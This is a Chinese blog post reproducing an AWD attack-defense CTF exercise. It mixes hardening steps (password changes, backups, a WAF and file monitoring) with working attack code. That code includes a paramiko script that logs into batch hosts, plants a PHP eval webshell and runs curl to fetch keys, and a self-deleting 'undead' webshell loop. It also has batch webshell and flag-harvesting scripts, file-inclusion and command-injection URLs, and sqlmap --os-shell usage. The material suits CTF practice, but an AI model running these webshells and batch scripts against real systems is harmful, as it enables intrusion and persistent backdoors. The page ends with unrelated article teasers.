AWD的复现

学习awd的相关资料:速成AWD并获奖的学习方法和思考记录- Track 知识社区 - 掌控安全在线教育 - Powered by 掌控者(包含使用脚本去批量修改密码)

在复现之前去了解了以下AWD的相关脚本

资料:AWD批量攻击脚本使用教程-CSDN博客

AWD批量攻击脚本使用教程-CSDN博客

AWD攻防工具脚本汇总(一) - 卿先生 - 博客园

kali中的parrot工具可以审计代码:

基本的防守策略 

一、修改用户密码和服务密码

1.修改linux的用户密码:

#passwd

如果有权限就删除用户:

#userdel -r (用户名)

先在kali中输入cat /etc/passwd 查看系统中用户的关键信息

再输入cat /etc/passwd |grep bash 过滤一下

然后就可以使用命令删除后门用户

2.修改mysql的密码(以下是在Xshell中操作):

#update mysql.user set password=password或者md5('密码') where user='root';

 可以先使用select host,user,password from mysql.user;来查看

然后再删除匿名的用户:

#delete from mysql.user where user=' ';

刷新配置:

#flush privileges;

#使用mysql -u root -p命令进入数据库再进行相关的操作

注意:这里要改配置文件 

3.修改网站后台的密码

从网站页面或者源码或者御剑找到后台的页面,然后尝试弱口令登入后改管理员的密码

 二、web的防护

AWD指南_php流量监控awd-CSDN博客

1.将网站目录打包成tar

命令:tar 

在Xshell中执行命令 bash

备份根目录: tar -czvf  temp/xxx.tar.gz/var/www/html(将后面的文件备份到前面的temp文件的指定文件中)

解压:tar -xzvf temp/xxx.tar.gz-C/var/www/html

2.用ssh或ftp将打包文件拉到本地

这里使用xftp软件上传

3.将文件拖到D盾中进行扫描有关的漏洞

4.用ssh控制或者ftp控制服务器将木马文件删除或者发现网站存在后门漏洞直接执行#echo >xxx.php

在xshell中复制文件名,再使用rm -f命令删除木马文件。

这样容易宕机,建议使用注释

三、关闭shell连接进程

1.查看正在连接的进程

#who

2.若发现不是自己的ip地址登录了服务器,就关闭连接进程

#pkill -kill -t pts/进程号

四、网站守护

1.查看新增文件并删除

查看命令:find ./ -cmin -30 删除命令:rm -f

2.删除不死马

新建编辑:vim  保存::wq

#vim killshell.sh

#chmod 777 killshell.sh (提供权限)

#nohup ./killshell.sh & (在后台不断的运行)

可以使用ls命令来看是否删除木马文件

3.发现网站页面存在漏洞

#echo > xxx.php (将内容删除为空)

五、防御加固,数据库备份

资料:AWD攻防比赛流程手册_awd加固-CSDN博客

1.使用mysql -uroot -proot连接数据库

2.使用show databases;查看数据库  exit可退出数据库

3.使用mysqldump -uroot -proot (指定的数据库,例如:test等) > /temp/db.sql进行备份

4.恢复数据库:

先使用命令连接数据库,重新创建一个新的数据库(create database test;),使用该数据库,还原数据库的命令(source /temp/db.sql“数据库的绝对路径”;),使用show databases来是否还原成功;

5.需要修改config.php文件中的配置,以上做了什么修改,config.php文件中就需要修改

步骤:先cd进入html文件目录下,使用vim命令打开并修改保存

六、启用通防

通用防御:通过一个脚本来抵挡攻击,还可以观看流量访问别人对你的攻击

这里演示看鸟脚本

AWD Watchbird 安装与使用教程-CSDN博客

【watchbird使用】-CSDN博客

使用

  • 下载最新 release
  • 将waf.so,watchbird.php文件存放在/var/www/html或其他目录中
  • 将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行php watchbird.php --install [Web目录], 安装器将输出安装了watchbird的文件路径
  • 访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码
  • 如需卸载, 请在相同的位置输入php watchbird.php --uninstall [Web目录], 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出

七、文件监控 

FileMonitor 项目使用教程-CSDN博客

FileMonitor for AWD(AWD文件监控)是一款专门为AWD比赛所写的一款监控脚本,基于Python3。 目的:确保源码文件夹下的文件不发生改变,防止被其他队伍上传木马。

功能:

  • 备份当前目录下所有文件及目录,储存在./bak目录中
  • 计算当前文件夹下所有文件(包括子目录下的文件)的MD5值,并实时监测,当MD5值发生变化,删除该文件,并从备份文件中将其还原
  • 实时监测新生成的文件,并将新生成的文件修改后缀名,并移动到./bak/drop文件夹内
  • 当原始文件被删除,从备份文件中恢复该文件

 使用:

将脚本放到源码文件夹,并在命令行输入

$ python3 ./FileMonitor.py

实例:

 

基本攻击策略

这里主要就是写代码

1.批量用户登入修改密码并写入webshell且获取flag值

脚本如下:

ls/home/

#!/usr/bin/env python#-*- coding:utf-8 -*-import paramikofor i in [1,2,3,4,5,6,7,8,9,10]:try:host = "4.4."+str(i)+".100"s=paramiko.SSHClient()s.set_missing_host_key_policy(paramiko.AutoAddPolicy())s.connect(hostname=host,port=22,username='user1',password='123456')stdin,stdout,stderr = s.exec_command('passwd\n')stdin.write("123456\nPass@123.com\nPass@123.com\n")stdin,stdout,stderr = s.exec_command("echo '<?php eval($_POST[cmd]);?>'>/var/www/html/.zack.php")stdin,stdout,stderr = s.exec_command('curl http://192.168.245.250/getkey')print(host+':'+stdout.read().decode('utf-8'))s.close()except:print(host+':Fails!')

2.批量调用webshell获取flag

脚本如下:

#!/usr/bin/env python#-*- coding:utf-8 -*-
import requests
for i in [1,2,3,4,5,6,7,8,9,10]:
try:
url="http://4.4."+str(i)+".100:"+str(1005)+"/.zack.php"
result=requests.post(url,data={'cmd':"system('curl http://192.168.245.250/getkey');"},timeout=2)
print(url+'-->'+result.text)
//在try块中,代码首先构建了一个URL,该URL由固定的IP段(4.4.)、循环变量i、固定的IP段(.100)、端口号(1005)和文件路径(/.zack.php)组成。然后,使用requests.post方法向这个URL发送一个POST请求,其中data参数是一个字典,包含了一个名为cmd的键,其值是一个尝试执行系统命令的字符串(这里是通过curl命令从另一个IP地址192.168.245.250获取数据)。请求还设置了超时时间为2秒。如果请求成功,它将打印出URL和响应的文本内容。
except:
print(url+'-->Fails!')
//如果在尝试发送POST请求的过程中发生了任何异常(如网络问题、连接拒绝、超时等),except块将捕获这个异常,并打印出出错的URL和一个失败消息。

3.不死马种植

将不死马上传网站目录,访问不死马后在当前目录生成.zack.php后门webshell。

脚本如下:

<?phpset_time_limit(0);#1表示忽略与客户端断开连接,继续执行脚本ignore_user_abort(1);#执行完后删除自身unlink(__FILE__);while (1) {$content = '<?php @eval($_POST[zack]);?>';file_put_contents(".zack.php", $content);usleep(500); #暂停0.5秒钟}?>

4.杀死不死马的方法,查看不死马的进程ID:

# top | grep httpdchmod 777 kill.shnohup ./kill.sh &查到ID为 11198 ,根据ID号和webshell名写.sh脚本。# vim kill.sh

第二次AWD的复现

参考:红蓝对抗-AWD全流程攻略03(攻防模拟)_awd网络攻防-CSDN博客

红蓝对抗-AWD全流程攻略06(起手防御)_awd防守-CSDN博客

红蓝对抗-AWD全流程攻略05(批量获取flag)_awd批量获取flag脚本-CSDN博客

CTF-AWD-Yunnan_2_awd 文件包含漏洞利用-CSDN博客

使用nmap去扫使用的主机,命令:nmap 172.16.17.202 -p 10000-30000

再根据D盾扫出来的木马去攻击对方的网站

footer.php中的命令执行漏洞

脚本

import requests //这行代码导入了Python的requests库,该库用于发送HTTP请求。
f = open('ip.txt','r') //这行代码以只读模式('r')打开名为ip.txt的文件,并将文件对象赋值给变量f。这个文件应该包含了一行一个的IP地址或主机名列表。
data = {"shell":'cat /flag'} //这里创建了一个名为data的字典,它将作为POST请求的body发送。在这个例子中,它包含一个键"shell",其对应的值为字符串'cat /flag'。
for i in f.readlines(): //这行代码遍历ip.txt文件中的每一行。f.readlines()读取文件的所有行,并返回一个列表,其中每个元素都是文件的一行(包括末尾的换行符)。然后,它遍历这个列表,每次迭代中,变量i都会被赋值为列表中的一个元素(即文件中的一行)。url = 'http://'+i.strip()+'/footer.php' //这行代码构建了一个URL,它由http://前缀、当前迭代的行(通过i.strip()去除末尾的换行符)和/footer.php路径组成。这个URL是POST请求的目标地址。r = requests.post(url,data=data) //使用requests.post()函数向前面构建的URL发送POST请求,并将data字典作为请求体发送。r是一个响应对象,包含了服务器的响应。x = r.text //从响应对象r中获取响应的文本内容,并将其赋值给变量x。这通常包含HTML页面、JSON数据或其他文本格式的内容,具体取决于服务器的响应。print(url +'    '+ x) //最后,这行代码打印出请求的URL和响应的文本内容,两者之间用四个空格分隔。这有助于用户了解每个请求的目标地址以及服务器对该请求的响应。

 

about.php中的文件包含漏洞

http://172.16.17.202:15054/about.php?file=/flag

contact.php中的fopen漏洞

http://172.16.17.202:15054/contact.php?path=/flag

admin/header.php中的命令执行漏洞

http://172.16.17.202:18922/admin/header.php?p=cat%20/flag

search.php中的sql注入

<?phpinclude 'header.php'; //这行代码包含了名为header.php的文件。include_once('config.php'); //include_once与include类似,也是用于包含并运行指定文件。不同之处在于,include_once会检查该文件是否已经在该脚本中被包含过,如果是,则不会再次包含。if (!empty($_GET['id'])) {$id=$_GET['id'];$query = "SELECT * FROM news WHERE id=$id";$data = mysqli_query($dbc,$query);	} //这段代码首先检查$_GET['id']是否非空。$_GET是一个超全局变量,用于收集表单数据或URL的查询字符串。如果URL中包含?id=某个值,那么$_GET['id']就会包含那个值。如果$_GET['id']非空,代码将其值赋给变量$id,然后构造一个SQL查询语句,用于从news表中检索ID等于$id的记录。接着,使用mysqli_query()函数执行这个查询。这个函数需要两个参数:数据库连接(在这里是$dbc,它应该在config.php文件中被定义并初始化)和SQL查询语句。执行成功后,$data将包含查询结果。$com = mysqli_fetch_array($data); //这行代码尝试从$data(即上一步的查询结果)中获取一行数据。mysqli_fetch_array()函数默认以关联数组和索引数组的形式返回结果集中的一行
?>

直接上sqlmap 对 search.php 页面上的 id 参数进行SQL注入测试

-u: 指定目标 URL。
--dbs: 这是一个选项,它告诉 sqlmap 在找到 SQL 注入点后,尝试枚举数据库服务器上的所有数据库名称。
--is-dba:  sqlmap 在找到 SQL 注入点后,尝试检测当前注入的用户是否拥有数据库管理员(DBA)权限。拥有 DBA 权限的用户可以执行数据库中的任意操作,包括创建、删除和修改表,以及读取和写入数据等。
--os-shell: 利用 SQL 注入漏洞来执行操作系统命令。获得一个交互式的 shell,可以在目标服务器上执行任意的操作系统命令。

--os-shell 拿到shell,查看flag 

echo 命令写入后门 

echo命令:
第一种:echo 'ilove u' > a.txt  *在a.txt这个文件中输入iove u,如果没有这个文件则创建。如果有这个文件,那么新内容代替原来的内容。
第二种:echo 'ilove u' >> a.txt  *在a.txt这个文件中输入ilove u,如果没有这个文件则创建,如果有这个文件,那么新内容添加在原来内容的后面。

使用蚁剑连接,连接成功

在根目录下找到flag

login.php万能密码

万能密码(sql注入)_sql注入万能密码-CSDN博客

代码审计

直接上sql注入的万能密码,得到flag

修复万能密码

$user =$_POST['user'];修改成
$user = mysql_real_escape_string($ POST['user']);

admin/index.php中的文件上传

脚本参考:红蓝对抗-AWD全流程攻略05(批量获取flag)_awd批量获取flag脚本-CSDN博客

脚本参考:

import requests
import time
import schedule
import ospayload ="?c=system('cat /flag');"
page=".a.php"
urls = ['http://172.16.17.202:10250/','http://172.16.17.202:10298/','http://172.16.17.202:10869/','http://172.16.17.202:12186/','http://172.16.17.202:12232/','http://172.16.17.202:12750/','http://172.16.17.202:14219/','http://172.16.17.202:15054/','http://172.16.17.202:16767/','http://172.16.17.202:17365/','http://172.16.17.202:18922/',]def get_flag():for url in urls:n_url = url + page + payload# print(n_url)response = requests.get(url=n_url)if response.status_code == 200:# 获取源代码中的所有文本内容,并按行拆分lines = response.text.split('\n')# 获取第一行行内容choice_line = lines[0]with open('hm_flag1.txt', 'a', encoding='utf-8') as file:file.write(choice_line+'\n')def support_flag():with open('hm_flag1.txt', 'r', encoding='utf-8') as file:content = file.read()# print(content)for line in content.split('\n'):# print(line)url = 'http://172.16.17.202:9090/'data = {"flag": line,"token": "4300f7f61934925694f6138f3045e61e"}response = requests.post(url, data=data)# print(response.text)time.sleep(1)# 提交完所有 flag 后删除文件os.remove('hm_flag1.txt')def job():#添加全局变量,跟踪是否是第一次执行任务global first_runget_flag()support_flag()print(time.strftime("%Y-%m-%d %H:%M:%S"))if first_run:#每五分钟执行一次schedule.every(5).minutes.do(job)first_run = Falseif __name__ == '__main__':first_run = Truejob()while True:schedule.run_pending()time.sleep(1)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/454836.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

全新子比主题7.9.2开心版 子比主题最新版源码

内容目录 一、详细介绍二、效果展示1.部分代码2.效果图展示 三、学习资料下载 一、详细介绍 wordpress zibll子比主题7.9.2开心版 修复评论弹授权 可做付费下载站 含wordpress搭建视频教程zibll子比主题安装视频教程支付配置视频教程&#xff0c;视频都是语音讲解&#xff0c;…

Go:error处理机制和函数

文章目录 error处理机制函数函数作为参数匿名函数匿名函数和闭包闭包运用闭包与工厂模式使用闭包调试 error处理机制 本篇总结的是Go中对于错误的处理机制 Go 语言的函数经常使用两个返回值来表示执行是否成功&#xff1a;返回某个值以及 true 表示成功&#xff1b;返回零值&…

2024软件测试面试秘籍(含答案+文档)

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 Part1 1、你的测试职业发展是什么&#xff1f; 测试经验越多&#xff0c;测试能力越高。所以我的职业发展是需要时间积累的&#xff0c;一步步向着高级测试工程师…

超简洁的B端系统,还是看国外的设计.

国外的一些 B 端系统设计往往注重简洁性和实用性的完美结合。 从界面布局来看&#xff0c;它们通常采用简洁明快的线条和清晰的模块划分&#xff0c;避免了过多的装饰和繁杂的元素&#xff0c;使得用户能够快速聚焦于核心功能。 色彩方面&#xff0c;多选用中性色调或淡雅的色…

自由学习记录(13)

服务端常见的“资源” 在服务端&#xff0c;常见的“资源”指的是服务端提供给客户端访问、使用、处理或操作的各种数据和功能。根据不同类型的服务和应用场景&#xff0c;服务端的资源种类可以非常广泛。以下是一些常见的服务端资源类型&#xff1a; 1. 文件和静态资源 网页…

设计模式04-创建型模式1(简单工厂/工厂模式/抽象工厂/Java)

3.1 简单工厂模式 3.1.1 创建型模式 创建型设计模式将对象的创建过程和对象的使用过程分离&#xff0c;用户使用对象时无需关注对象的创建细节&#xff0c;外界对于这些对象只需要知道它们共同的接口&#xff0c;而不用清楚其实现细节&#xff0c;使得整个系统的设计更加符合…

console.log(“res.data = “ + JSON.stringify(res.data));

res.data[object Object] 说明你在控制台打印 res.data 时&#xff0c;它是一个 JavaScript 对象&#xff0c;而不是字符串。这种情况下&#xff0c;console.log 输出的 [object Object] 表示它无法直接显示对象的内容。 要查看 res.data 的实际内容&#xff0c;你需要将其转换…

​​Spring6梳理17——基于XML的自动装配

以上笔记来源&#xff1a; 尚硅谷Spring零基础入门到进阶&#xff0c;一套搞定spring6全套视频教程&#xff08;源码级讲解&#xff09;https://www.bilibili.com/video/BV1kR4y1b7Qc 目录 ①引入 ②场景模拟 2.1 创建UserController类文件 2.2 创建UserService接口文件 2…

关于jmeter中没有jp@gc - response times over time

1、问题如下&#xff1a; jmeter没有我们要使用的插件 2、解决方法&#xff1a; 选择下面文件&#xff0c;点击应用&#xff1b; 3、问题解决 ps&#xff1a;谢谢观看&#xff01;&#xff01;&#xff01;

Java面向对象(三)(抽象和封装)(自己学习整理的资料)

一.类的提炼过程 从现实生活中归纳总结出&#xff0c;多种相同物种&#xff0c;具有的相同的特性&#xff08;属性&#xff0b;行为&#xff09;提炼到一个容器里&#xff0c;给这个容器起一个名字&#xff0c;名字就是类。 步骤&#xff1a; 发现类&#xff08;Dog&#xff…

亿佰特STM32MP13工业核心板【学习】

资料链接&#xff1a;ebyte.com/serchlist.aspx?keyECK10 加屏蔽罩的方法确实可以防EMC干扰防水防潮&#xff1a; 宽度: 16 位宽表示数据总线的宽度&#xff0c;意味着每次可以传输 16 位的数据。这在某些应用中可以提高内存带宽。电压: DDR3L SDRAM 的工作电压通常为 1.35V&…

32 类和对象 · 中

目录 一、类的默认成员函数 二、构造函数 &#xff08;一&#xff09;构造函数的特点 &#xff08;二&#xff09;使用例 1、Date类 2、Stack类 &#xff08;三&#xff09;总结 三、析构函数 &#xff08;一&#xff09;析构函数的特点 &#xff08;二&#xff09;使…

scrapy的xpath在控制台可以匹配,但是到了代码无法匹配(无法匹配tbody标签)

问题 使用xpath-helper可以匹配到,然后scrapy却无法 然后写入html来看看 发现根本就没有tbody,太可恶了 解决 方法1 不使用tbody就可以 方法2 使用或运算符 | big_list response.xpath("//div[classChannelClasssNavContent]/table/tbody/tr[1]/td/table/tbody/t…

Android OpenGL天空盒

在我们的项目学习过程中&#xff0c;我们从一片漆黑的虚空开始构建。为了给这个世界增添一些色彩&#xff0c;我们加入了三个粒子喷泉&#xff0c;但即便如此&#xff0c;我们的世界依然大部分被黑暗和虚无所笼罩。这些喷泉仿佛悬浮在无尽的黑暗之中&#xff0c;没有边界&#…

玫瑰花HTML源码

HTML源码 <pre id"tiresult" style"font-size: 9px; background-color: #000000; font-weight: bold; padding: 4px 5px; --fs: 9px;"><b style"color:#000000">0010000100000111101110110111100010000100000100001010111111100110…

unity学习-全局光照(GI)

在全局光照&#xff08;Lighting&#xff09;界面有两个选项 Realtime Light&#xff08;实时光照&#xff09;&#xff1a;在项目中会提前计算好光照以及阴影的程序&#xff0c;当你需要调用实时全局光照的时候会将程序调用出来使用 Mixed Light&#xff08;烘焙光照&#x…

Nova-Admin:基于Vue3、Vite、TypeScript和NaiveUI的开源简洁灵活管理模板

嗨&#xff0c;大家好&#xff0c;我是小华同学&#xff0c;关注我们获得“最新、最全、最优质”开源项目和工作学习方法 Nova Admin是一个基于Vue3、Vite、TypeScript和NaiveUI的简洁灵活的管理模板。这个项目旨在为开发者提供一个现代化、易于定制的后台管理界面解决方案。无…

什么是3D模型?如何进行3D建模?应用领域有哪些?

3D模型是在计算机图形学中&#xff0c;为某个表面或物体在专用软件中创建的数字形象&#xff0c;它代表了一个物理实体在三维空间中的形态。以下是对3D模型的详细解释及实现方式的介绍&#xff1a; 一、3D模型的定义 概念&#xff1a;3D模型&#xff0c;即三维模型&#xff0…

springboot+vue的宠物医院管理系统(源码+lunwen)

基于vuespringboot的宠物医院管理系统&#xff0c;分为前台页面和后台管理端。 前台页面&#xff1a; 用户注册与登录&#xff1a;用户可以创建账户并登录系统&#xff0c;以便预约服务、查看个人信息等。宠物信息管理&#xff1a;用户可以添加、编辑和删除自己的宠物信息&am…

数字后端实现静态时序分析STA Timing Signoff之min period violation

今天给大家分享一个在高性能数字IC后端实现timing signoff阶段经常遇到的min period violation。大部分时候出现memory min period问题基本上都是需要返工重新生成memory的。这是非常致命的错误&#xff0c;希望大家在做静态时序分析时一定要查看min period violation。 什么是…